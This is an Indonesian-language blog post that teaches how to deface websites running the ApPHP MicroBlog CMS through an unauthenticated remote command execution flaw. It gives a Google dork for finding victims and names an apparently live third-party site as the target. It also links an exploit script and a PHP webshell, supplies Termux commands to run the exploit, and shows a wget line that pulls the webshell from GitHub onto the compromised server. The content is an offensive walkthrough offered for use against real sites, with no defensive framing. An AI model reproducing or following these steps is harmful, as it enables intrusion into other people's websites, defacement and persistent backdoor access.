Ad Unit (Iklan) BIG

Deface ApPHP MicroBlog - Unauthenticated Remote command execution

7 comments

-

Hai sobat

Saya ikal,

Disini saya akan sharing - sharing sesuatu nih.

-


Sesuai judul kita kali ini, kita akan membahas sebuah exploit yang terdapat di sebuah CMS bernama apPHP MicroBlog. Exploit nya sendiri ada banyak :D, namun kita ambil yang ez for upload shell saja, salah satunya adalah Remote Command Execution (RCE).


Okeh kita langsung masuk saja kedalam inti pembahasan ini/Tahap Exploitasi.


Bahan : 

- Google Dork : "ApPHP" + "Admin Login"

- Webshell : https://raw.githubusercontent.com/backdoorhub/shell-backdoor-list/master/shell/php/mini.php

- Tools auto exploit : https://www.exploit-db.com/download/33070

- Termux/Terminal lainnya


Pertama tama kalian cari target dulu untuk di eksekusi, disini saya sudah punya live target yah, jadi saya cantumkan saja.


Live target : 

http://www.richcrail.com/blog/index.php


Nah itu live target saya :D, Pertama tama kita download dulu tools auto exploit nya dengan mengklik saja link yang di cantumkan di atas, maka file otomatis akan terdownload kedalam device kalian.


Lanjut kita buka termux dan ketikan syntax berikut : 


$ cd /sdcard && cd Download

 

Lalu kita install python2 untuk menjalankan toolsnya. Ketikan syntax ini ke termux kalian : 


$ pkg install python2 -y


 Nah, sekarang kita tinggal jalankan tools nya dengan ketikan syntax berikut ke termux kalian : 


$ python2 33070.py https://localhost/index.php

Atau 

$ python2 33070.py https://localhost/[path]/index.php

 

*Note : Ganti url localhost dengan target kalian masing - masing, beserta file /index.php


Contoh : 


$ python2 33070.py http://www.richcrail.com/blog/index.php

 

Tampilan exploitasi berhasil

Jika vuln Remote Command Execution, maka akan muncul kata ini


[*] Testing remote execution

[+] Remote exec is working with system() :)

Submit your commands, type exit to quit

>


Nah, jika tidak muncul > nya. Cari target lain saja :D. 


Selepas itu kita tinggal melakukan wget untuk mengupload shell, pasti udh tau dong command wget gimana :D.


wget https://raw.githubusercontent.com/backdoorhub/shell-backdoor-list/master/shell/php/mini.php -O 0x33070.php


Dan kalian tinggal mengakses webshellnya dengan nama 0x33070.php. Contoh : 


https://localhost/0x33070.php

https://localhost/[path]/0x33070.php

 

Nah segini saja artikel kali ini, Jika ada yang kurang atau salah kata biarkan saja.


Thanks

See U

Haikal_
Hai sobat, Saya ikal. Disini kalian bisa learning mengenai sesuatu dari setiap artikel yang saya buat :D.

Related Posts

7 comments

Post a Comment

Dapatkan Notifikasi Dengan Email